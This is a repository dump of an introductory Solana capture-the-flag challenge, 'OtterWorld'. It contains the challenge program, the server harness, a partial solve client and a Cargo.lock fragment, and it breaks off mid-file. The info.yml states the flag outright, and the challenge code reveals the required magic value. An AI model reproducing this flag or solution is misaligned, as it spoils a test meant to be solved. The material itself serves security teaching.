988 | name = "semver" 989 | version = "1.0.12" 990 | source = "registry+https://github.com/rust-lang/crates.io-index" 991 | checksum = "a2333e6df6d6598f2b1974829f853c2b4c5f4a6e503c10af918081aa6f8564e1" 992 | 993 | [[package]] 994 | name = "serde" 995 | version = "1.0.139" 996 | source = "registry+https://github.com/rust-lang/crates.io-index" 997 | checksum = "0171ebb889e45aa68b44aee0859b3eede84c6f5f5c228e6f140c0b2a0a46cad6" 998 | dependencies = [ 999 | "serde_derive", 1000 | ] 1001 | 1002 | [[package]] 1003 | name = "serde_bytes" 1004 | version = "0.11.6" 1005 | source = "registry+https://github.com/rust-lang/crates.io-index" 1006 | checksum = "212e73464ebcde48d723aa02eb270ba62eff38a9b732df31f33f1b4e145f3a54" 1007 | dependencies = [ 1008 | "serde", 1009 | ] 1010 | 1011 | [[package]] 1012 | name = "serde_derive" 1013 | version = "1.0.139" 1014 | source = "registry+https://github.com/rust-lang/crates.io-index" 1015 | checksum = "dc1d3230c1de7932af58ad8ffbe1d784bd55efd5a9d84ac24f69c72d83543dfb" 1016 | dependencies = [ 1017 | "proc-macro2", 1018 | "quote", 1019 | "syn", 1020 | ] 1021 | 1022 | [[package]] 1023 | name = "serde_json" 1024 | version = "1.0.82" 1025 | source = "registry+https://github.com/rust-lang/crates.io-index" 1026 | checksum = "82c2c1fdcd807d1098552c5b9a36e425e42e9fbd7c6a37a8425f390f781f7fa7" 1027 | dependencies = [ 1028 | "itoa", 1029 | "ryu", 1030 | "serde", 1031 | ] 1032 | 1033 | [[package]] 1034 | name = "sha2" 1035 | version = "0.9.9" 1036 | source = "registry+https://github.com/rust-lang/crates.io-index" 1037 | checksum = "4d58a1e1bf39749807d89cf2d98ac2dfa0ff1cb3faa38fbb64dd88ac8013d800" 1038 | dependencies = [ 1039 | "block-buffer 0.9.0", 1040 | "cfg-if", 1041 | "cpufeatures", 1042 | "digest 0.9.0", 1043 | "opaque-debug", 1044 | ] 1045 | 1046 | [[package]] 1047 | name = "sha3" 1048 | version = "0.9.1" 1049 | source = "registry+https://github.com/rust-lang/crates.io-index" 1050 | checksum = "f81199417d4e5de3f04b1e871023acea7389672c4135918f05aa9cbf2f2fa809" 1051 | dependencies = [ 1052 | "block-buffer 0.9.0", 1053 | "digest 0.9.0", 1054 | "keccak", 1055 | "opaque-debug", 1056 | ] 1057 | 1058 | [[package]] 1059 | name = "smallvec" 1060 | version = "1.9.0" 1061 | source = "registry+https://github.com/rust-lang/crates.io-index" 1062 | checksum = "2fd0db749597d91ff862fd1d55ea87f7855a744a8425a64695b6fca237d1dad1" 1063 | 1064 | [[package]] 1065 | name = "solana-frozen-abi" 1066 | version = "1.9.29" 1067 | source = "registry+https://github.com/rust-lang/crates.io-index" 1068 | checksum = "2d4fcb89eb3d0f30bd4b4a31ad1825c9d95cd638509acead00969d7601713288" 1069 | dependencies = [ 1070 | "bs58 0.4.0", 1071 | "bv", 1072 | "generic-array", 1073 | "log", 1074 | "memmap2", 1075 | "rustc_version", 1076 | "serde", 1077 | "serde_derive", 1078 | "sha2", 1079 | "solana-frozen-abi-macro", 1080 | "solana-logger", 1081 | "thiserror", 1082 | ] 1083 | 1084 | [[package]] 1085 | name = "solana-frozen-abi-macro" 1086 | version = "1.9.29" 1087 | source = "registry+https://github.com/rust-lang/crates.io-index" 1088 | checksum = "d63ab101db88ecccd8da34065b9097b88367e0744fdfd05cb7de87b4ede3717f" 1089 | dependencies = [ 1090 | "proc-macro2", 1091 | "quote", 1092 | "rustc_version", 1093 | "syn", 1094 | ] 1095 | 1096 | [[package]] 1097 | name = "solana-logger" 1098 | version = "1.9.29" 1099 | source = "registry+https://github.com/rust-lang/crates.io-index" 1100 | checksum = "9ce1805d52fc8277a84c4803c7850c8f41471b57fb0dec7750338955ad6e43e2" 1101 | dependencies = [ 1102 | "env_logger", 1103 | "lazy_static", 1104 | "log", 1105 | ] 1106 | 1107 | [[package]] 1108 | name = "solana-program" 1109 | version = "1.9.29" 1110 | source = "registry+https://github.com/rust-lang/crates.io-index" 1111 | checksum = "f5deafc4902425d40197f74166640300dd20b078e4ffd518c1bb56ceb7e01680" 1112 | dependencies = [ 1113 | "base64 0.13.0", 1114 | "bincode", 1115 | "bitflags", 1116 | "blake3", 1117 | "borsh", 1118 | "borsh-derive", 1119 | "bs58 0.4.0", 1120 | "bv", 1121 | "bytemuck", 1122 | "console_error_panic_hook", 1123 | "console_log", 1124 | "curve25519-dalek", 1125 | "getrandom 0.1.16", 1126 | "itertools", 1127 | "js-sys", 1128 | "lazy_static", 1129 | "libsecp256k1", 1130 | "log", 1131 | "num-derive", 1132 | "num-traits", 1133 | "parking_lot", 1134 | "rand", 1135 | "rustc_version", 1136 | "rustversion", 1137 | "serde", 1138 | "serde_bytes", 1139 | "serde_derive", 1140 | "sha2", 1141 | "sha3", 1142 | "solana-frozen-abi", 1143 | "solana-frozen-abi-macro", 1144 | "solana-logger", 1145 | "solana-sdk-macro", 1146 | "thiserror", 1147 | "wasm-bindgen", 1148 | ] 1149 | 1150 | [[package]] 1151 | name = "solana-sdk-macro" 1152 | version = "1.9.29" 1153 | source = "registry+https://github.com/rust-lang/crates.io-index" 1154 | checksum = "3db4c93bd43c91290ad54fe6ff86179a859954f196507c4789a4876d38a62f17" 1155 | dependencies = [ 1156 | "bs58 0.4.0", 1157 | "proc-macro2", 1158 | "quote", 1159 | "rustversion", 1160 | "syn", 1161 | ] 1162 | 1163 | [[package]] 1164 | name = "spl-associated-token-account" 1165 | version = "1.0.5" 1166 | source = "registry+https://github.com/rust-lang/crates.io-index" 1167 | checksum = "2b013067447a1396303ddfc294f36e3d260a32f8a16c501c295bcdc7de39b490" 1168 | dependencies = [ 1169 | "borsh", 1170 | "solana-program", 1171 | "spl-token", 1172 | ] 1173 | 1174 | [[package]] 1175 | name = "spl-token" 1176 | version = "3.3.0" 1177 | source = "registry+https://github.com/rust-lang/crates.io-index" 1178 | checksum = "0cc67166ef99d10c18cb5e9c208901e6d8255c6513bb1f877977eba48e6cc4fb" 1179 | dependencies = [ 1180 | "arrayref", 1181 | "num-derive", 1182 | "num-traits", 1183 | "num_enum", 1184 | "solana-program", 1185 | "thiserror", 1186 | ] 1187 | 1188 | [[package]] 1189 | name = "subtle" 1190 | version = "2.4.1" 1191 | source = "registry+https://github.com/rust-lang/crates.io-index" 1192 | checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" 1193 | 1194 | [[package]] 1195 | name = "syn" 1196 | version = "1.0.98" 1197 | source = "registry+https://github.com/rust-lang/crates.io-index" 1198 | checksum = "c50aef8a904de4c23c788f104b7dddc7d6f79c647c7c8ce4cc8f73eb0ca773dd" 1199 | dependencies = [ 1200 | "proc-macro2", 1201 | "quote", 1202 | "unicode-ident", 1203 | ] 1204 | 1205 | [[package]] 1206 | name = "termcolor" 1207 | version = "1.1.3" 1208 | source = "registry+https://github.com/rust-lang/crates.io-index" 1209 | checksum = "bab24d30b911b2376f3a13cc2cd443142f0c81dda04c118693e35b3835757755" 1210 | dependencies = [ 1211 | "winapi-util", 1212 | ] 1213 | 1214 | [[package]] 1215 | name = "thiserror" 1216 | version = "1.0.31" 1217 | source = "registry+https://github.com/rust-lang/crates.io-index" 1218 | checksum = "bd829fe32373d27f76265620b5309d0340cb8550f523c1dda251d6298069069a" 1219 | dependencies = [ 1220 | "thiserror-impl", 1221 | ] 1222 | 1223 | [[package]] 1224 | name = "thiserror-impl" 1225 | version = "1.0.31" 1226 | source = "registry+https://github.com/rust-lang/crates.io-index" 1227 | checksum = "0396bc89e626244658bef819e22d0cc459e795a5ebe878e6ec336d1674a8d79a" 1228 | dependencies = [ 1229 | "proc-macro2", 1230 | "quote", 1231 | "syn", 1232 | ] 1233 | 1234 | [[package]] 1235 | name = "toml" 1236 | version = "0.5.9" 1237 | source = "registry+https://github.com/rust-lang/crates.io-index" 1238 | checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7" 1239 | dependencies = [ 1240 | "serde", 1241 | ] 1242 | 1243 | [[package]] 1244 | name = "typenum" 1245 | version = "1.15.0" 1246 | source = "registry+https://github.com/rust-lang/crates.io-index" 1247 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987" 1248 | 1249 | [[package]] 1250 | name = "unicode-ident" 1251 | version = "1.0.2" 1252 | source = "registry+https://github.com/rust-lang/crates.io-index" 1253 | checksum = "15c61ba63f9235225a22310255a29b806b907c9b8c964bcbd0a2c70f3f2deea7" 1254 | 1255 | [[package]] 1256 | name = "unicode-segmentation" 1257 | version = "1.9.0" 1258 | source = "registry+https://github.com/rust-lang/crates.io-index" 1259 | checksum = "7e8820f5d777f6224dc4be3632222971ac30164d4a258d595640799554ebfd99" 1260 | 1261 | [[package]] 1262 | name = "version_check" 1263 | version = "0.9.4" 1264 | source = "registry+https://github.com/rust-lang/crates.io-index" 1265 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 1266 | 1267 | [[package]] 1268 | name = "wasi" 1269 | version = "0.9.0+wasi-snapshot-preview1" 1270 | source = "registry+https://github.com/rust-lang/crates.io-index" 1271 | checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" 1272 | 1273 | [[package]] 1274 | name = "wasi" 1275 | version = "0.11.0+wasi-snapshot-preview1" 1276 | source = "registry+https://github.com/rust-lang/crates.io-index" 1277 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 1278 | 1279 | [[package]] 1280 | name = "wasm-bindgen" 1281 | version = "0.2.81" 1282 | source = "registry+https://github.com/rust-lang/crates.io-index" 1283 | checksum = "7c53b543413a17a202f4be280a7e5c62a1c69345f5de525ee64f8cfdbc954994" 1284 | dependencies = [ 1285 | "cfg-if", 1286 | "wasm-bindgen-macro", 1287 | ] 1288 | 1289 | [[package]] 1290 | name = "wasm-bindgen-backend" 1291 | version = "0.2.81" 1292 | source = "registry+https://github.com/rust-lang/crates.io-index" 1293 | checksum = "5491a68ab4500fa6b4d726bd67408630c3dbe9c4fe7bda16d5c82a1fd8c7340a" 1294 | dependencies = [ 1295 | "bumpalo", 1296 | "lazy_static", 1297 | "log", 1298 | "proc-macro2", 1299 | "quote", 1300 | "syn", 1301 | "wasm-bindgen-shared", 1302 | ] 1303 | 1304 | [[package]] 1305 | name = "wasm-bindgen-macro" 1306 | version = "0.2.81" 1307 | source = "registry+https://github.com/rust-lang/crates.io-index" 1308 | checksum = "c441e177922bc58f1e12c022624b6216378e5febc2f0533e41ba443d505b80aa" 1309 | dependencies = [ 1310 | "quote", 1311 | "wasm-bindgen-macro-support", 1312 | ] 1313 | 1314 | [[package]] 1315 | name = "wasm-bindgen-macro-support" 1316 | version = "0.2.81" 1317 | source = "registry+https://github.com/rust-lang/crates.io-index" 1318 | checksum = "7d94ac45fcf608c1f45ef53e748d35660f168490c10b23704c7779ab8f5c3048" 1319 | dependencies = [ 1320 | "proc-macro2", 1321 | "quote", 1322 | "syn", 1323 | "wasm-bindgen-backend", 1324 | "wasm-bindgen-shared", 1325 | ] 1326 | 1327 | [[package]] 1328 | name = "wasm-bindgen-shared" 1329 | version = "0.2.81" 1330 | source = "registry+https://github.com/rust-lang/crates.io-index" 1331 | checksum = "6a89911bd99e5f3659ec4acf9c4d93b0a90fe4a2a11f15328472058edc5261be" 1332 | 1333 | [[package]] 1334 | name = "web-sys" 1335 | version = "0.3.58" 1336 | source = "registry+https://github.com/rust-lang/crates.io-index" 1337 | checksum = "2fed94beee57daf8dd7d51f2b15dc2bcde92d7a72304cdf662a4371008b71b90" 1338 | dependencies = [ 1339 | "js-sys", 1340 | "wasm-bindgen", 1341 | ] 1342 | 1343 | [[package]] 1344 | name = "winapi" 1345 | version = "0.3.9" 1346 | source = "registry+https://github.com/rust-lang/crates.io-index" 1347 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 1348 | dependencies = [ 1349 | "winapi-i686-pc-windows-gnu", 1350 | "winapi-x86_64-pc-windows-gnu", 1351 | ] 1352 | 1353 | [[package]] 1354 | name = "winapi-i686-pc-windows-gnu" 1355 | version = "0.4.0" 1356 | source = "registry+https://github.com/rust-lang/crates.io-index" 1357 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 1358 | 1359 | [[package]] 1360 | name = "winapi-util" 1361 | version = "0.1.5" 1362 | source = "registry+https://github.com/rust-lang/crates.io-index" 1363 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 1364 | dependencies = [ 1365 | "winapi", 1366 | ] 1367 | 1368 | [[package]] 1369 | name = "winapi-x86_64-pc-windows-gnu" 1370 | version = "0.4.0" 1371 | source = "registry+https://github.com/rust-lang/crates.io-index" 1372 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 1373 | 1374 | [[package]] 1375 | name = "yansi" 1376 | version = "0.5.1" 1377 | source = "registry+https://github.com/rust-lang/crates.io-index" 1378 | checksum = "09041cd90cf85f7f8b2df60c646f853b7f535ce68f85244eb6731cf89fa498ec" 1379 | 1380 | [[package]] 1381 | name = "zeroize" 1382 | version = "1.3.0" 1383 | source = "registry+https://github.com/rust-lang/crates.io-index" 1384 | checksum = "4756f7db3f7b5574938c3eb1c117038b8e07f95ee6718c0efad4ac21508f1efd" 1385 | -------------------------------------------------------------------------------- /otter-world/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otter-world/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otter-world/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otter-world/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | -------------------------------------------------------------------------------- /otter-world/framework/chall/programs/chall/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otter-world/framework/chall/programs/chall/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | use anchor_spl::token::{Mint, Token, TokenAccount, Transfer}; 3 | use anchor_spl::token; 4 | 5 | pub use anchor_lang; 6 | pub use anchor_spl; 7 | 8 | pub const FLAG_SEED: &[u8] = b"flag"; 9 | 10 | declare_id!("osecio1111111111111111111111111111111111112"); 11 | 12 | #[program] 13 | pub mod chall { 14 | use super::*; 15 | 16 | pub fn get_flag(_ctx: Context, magic: u64) -> Result<()> { 17 | assert!(magic == 0x1337 * 0x7331); 18 | 19 | Ok(()) 20 | } 21 | 22 | } 23 | 24 | #[derive(Accounts)] 25 | pub struct GetFlag<'info> { 26 | #[account( 27 | init, 28 | seeds = [ FLAG_SEED ], 29 | bump, 30 | payer = payer, 31 | space = 1000 32 | )] 33 | pub flag: Account<'info, Flag>, 34 | 35 | #[account(mut)] 36 | pub payer: Signer<'info>, 37 | pub system_program: Program<'info, System>, 38 | pub rent: Sysvar<'info, Rent>, 39 | } 40 | 41 | 42 | #[account] 43 | #[repr(C, align(8))] 44 | #[derive(Default)] 45 | pub struct Flag { 46 | } 47 | -------------------------------------------------------------------------------- /otter-world/framework/chall/tests/chall.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Chall } from "../target/types/chall"; 4 | 5 | describe("chall", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Chall as Program; 10 | const authority = (program.provider as anchor.AnchorProvider).wallet; 11 | 12 | it("Is initialized!", async () => { 13 | // Add your test here. 14 | const counter = anchor.web3.Keypair.generate(); 15 | const tx = await program.methods.initialize() 16 | .accounts({ 17 | counter: counter.pubkey, 18 | authority: authority.pubkey 19 | }) 20 | .rpc(); 21 | console.log("Your transaction signature", tx); 22 | }); 23 | }); 24 | -------------------------------------------------------------------------------- /otter-world/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otter-world/framework/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::InstructionData; 2 | use chall::anchor_lang::ToAccountMetas; 3 | use chall::FLAG_SEED; 4 | use std::env; 5 | use std::io::Write; 6 | 7 | use sol_ctf_framework::ChallengeBuilder; 8 | 9 | use solana_sdk::compute_budget::ComputeBudgetInstruction; 10 | 11 | use solana_program::instruction::Instruction; 12 | use solana_program::system_instruction; 13 | use solana_program_test::tokio; 14 | use solana_sdk::pubkey::Pubkey; 15 | use solana_sdk::pubkey; 16 | use solana_sdk::signature::Signer; 17 | use solana_sdk::signer::keypair::Keypair; 18 | use std::error::Error; 19 | 20 | use std::net::{TcpListener, TcpStream}; 21 | 22 | #[tokio::main] 23 | async fn main() -> Result<(), Box> { 24 | let listener = TcpListener::bind("0.0.0.0:8080")?; 25 | 26 | println!("starting server at port 8080!"); 27 | 28 | for stream in listener.incoming() { 29 | let stream = stream.unwrap(); 30 | 31 | tokio::spawn(async { 32 | if let Err(err) = handle_connection(stream).await { 33 | println!("error: {:?}", err); 34 | } 35 | }); 36 | } 37 | Ok(()) 38 | } 39 | 40 | async fn handle_connection(mut socket: TcpStream) -> Result<(), Box> { 41 | let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); 42 | 43 | let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID)); 44 | let solve_id = builder.input_program()?; 45 | 46 | let valid_pubkey = pubkey!("osecio1111111111111111111111111111111111111"); 47 | 48 | if solve_id != valid_pubkey { 49 | writeln!(socket, "bad pubkey, got: {} expected: {}", solve_id, valid_pubkey)?; 50 | return Ok(()); 51 | } 52 | 53 | let mut chall = builder.build().await; 54 | 55 | let user_keypair = Keypair::new(); 56 | let user = user_keypair.pubkey(); 57 | 58 | let payer_keypair = &chall.ctx.payer; 59 | let payer = payer_keypair.pubkey(); 60 | 61 | chall 62 | .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000)) 63 | .await?; 64 | 65 | writeln!(socket, "user: {}", user)?; 66 | 67 | let solve_ix = chall.read_instruction(solve_id)?; 68 | println!("{:?}", solve_ix); 69 | 70 | chall 71 | .run_ixs_full( 72 | &[solve_ix], 73 | &[&user_keypair], 74 | &user_keypair.pubkey(), 75 | ) 76 | .await?; 77 | 78 | let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 79 | 80 | if let Some(_) = chall.ctx.banks_client.get_account(flag).await? { 81 | writeln!(socket, "congrats!")?; 82 | if let Ok(flag) = env::var("FLAG") { 83 | writeln!(socket, "flag: {:?}", flag)?; 84 | } else { 85 | writeln!(socket, "flag not found, please contact admin")?; 86 | } 87 | } 88 | 89 | Ok(()) 90 | } 91 | -------------------------------------------------------------------------------- /otter-world/info.yml: -------------------------------------------------------------------------------- 1 | name: OtterWorld 2 | author: NotDeGhost 3 | description: |- 4 | Otter [World](https://osec.io/blog/tutorials/2022-03-14-solana-security-intro/)! 5 | 6 | `nc {{host}} {{port}}` 7 | provide: 8 | - ./chall.tar.gz 9 | flag: flag{0tt3r_w0r1d_8c01j3} 10 | 11 | -------------------------------------------------------------------------------- /otter-world/test/chall.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chen-robert/paradigm-ctf-2022/38e98d94963d56b459efd96da163c17bd83dc131/otter-world/test/chall.tar.gz -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-program = "*" 10 | spl-token = "*" 11 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 12 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 13 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | **/*.rs.bk 6 | node_modules 7 | test-ledger 8 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/.prettierignore: -------------------------------------------------------------------------------- 1 | 2 | .anchor 3 | .DS_Store 4 | target 5 | node_modules 6 | dist 7 | build 8 | test-ledger 9 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.24.2" 26 | anchor-spl = "0.24.2" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/programs/solve/Xargo.toml: -------------------------------------------------------------------------------- 1 | [target.bpfel-unknown-unknown.dependencies.std] 2 | features = [] 3 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use anchor_lang::prelude::*; 2 | 3 | use anchor_spl::token::{Token, TokenAccount}; 4 | 5 | declare_id!("osecio1111111111111111111111111111111111111"); 6 | 7 | #[program] 8 | pub mod solve { 9 | use super::*; 10 | 11 | pub fn get_flag(ctx: Context) -> Result<()> { 12 | 13 | let cpi_accounts = chall::cpi::accounts::GetFlag { 14 | flag: ctx.accounts.flag.clone(), 15 | payer: ctx.accounts.payer.to_account_info(), 16 | system_program: ctx.accounts.system_program.to_account_info(), 17 | rent: ctx.accounts.rent.to_account_info(), 18 | }; 19 | 20 | let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts); 21 | 22 | chall::cpi::get_flag(cpi_ctx, 0x1337 /* TODO */)?; 23 | 24 | Ok(()) 25 | } 26 | } 27 | 28 | #[derive(Accounts)] 29 | pub struct GetFlag<'info> { 30 | #[account(mut)] 31 | pub flag: AccountInfo<'info>, 32 | #[account(mut)] 33 | pub payer: Signer<'info>, 34 | 35 | pub system_program: Program<'info, System>, 36 | pub token_program: Program<'info, Token>, 37 | pub rent: Sysvar<'info, Rent>, 38 | pub chall: Program<'info, chall::program::Chall> 39 | } 40 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /otter-world/test/client/framework-solve/src/main.rs: -------------------------------------------------------------------------------- 1 | use chall::anchor_lang::{InstructionData, ToAccountMetas}; 2 | use chall::FLAG_SEED; 3 | use solana_program::pubkey::Pubkey; 4 | use std::net::TcpStream; 5 | use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr}; 6 | 7 | fn get_line(reader: &mut BufReader) -> Result> { 8 | let mut line = String::new(); 9 | reader.read_line(&mut line)?; 10 | 11 | let ret = line 12 | .split(':') 13 | .nth(1) 14 | .ok_or("invalid input")? 15 | .trim() 16 | .to_string(); 17 | 18 | println!("{:?}", ret); 19 | 20 | Ok(ret) 21 | } 22 | 23 | fn main() -> Result<(), Box> { 24 | let mut stream = TcpStream::connect("127.0.0.1:8080")?; 25 | let mut reader = BufReader::new(stream.try_clone().unwrap()); 26 | 27 | let mut line = String::new(); 28 | 29 | let so_data = fs::read("./solve/target/deploy/solve.so")?; 30 | 31 | reader.read_line(&mut line)?; 32 | writeln!(stream, "{}", solve::ID)?; 33 | reader.read_line(&mut line)?; 34 | writeln!(stream, "{}", so_data.len())?; 35 | stream.write_all(&so_data)?; 36 | 37 | let chall_id = chall::ID; 38 | 39 | let user = Pubkey::from_str(&get_line(&mut reader)?)?; 40 | 41 | let ix = solve::instruction::GetFlag {}; 42 | let data = ix.data(); 43 | 44 | let flag = Pubkey::find_program_address(&[FLAG_SEED], &chall_id).0; 45 | let ix_accounts = solve::accounts::GetFlag { 46 | flag, 47 | payer: user, 48 | token_program: spl_token::ID, 49 | chall: chall_id, 50 | system_program: solana_program::system_program::ID, 51 | rent: solana_program::sysvar::rent::ID 52 | }; 53 | 54 | let metas = ix_accounts.to_account_metas(None); 55 | 56 | reader.read_line(&mut line)?; 57 | writeln!(stream, "{}", metas.len())?; 58 | for meta in metas { 59 | let mut meta_str = String::new(); 60 | meta_str.push('m'); 61 | if meta.is_writable { 62 | meta_str.push('w'); 63 | } 64 | if 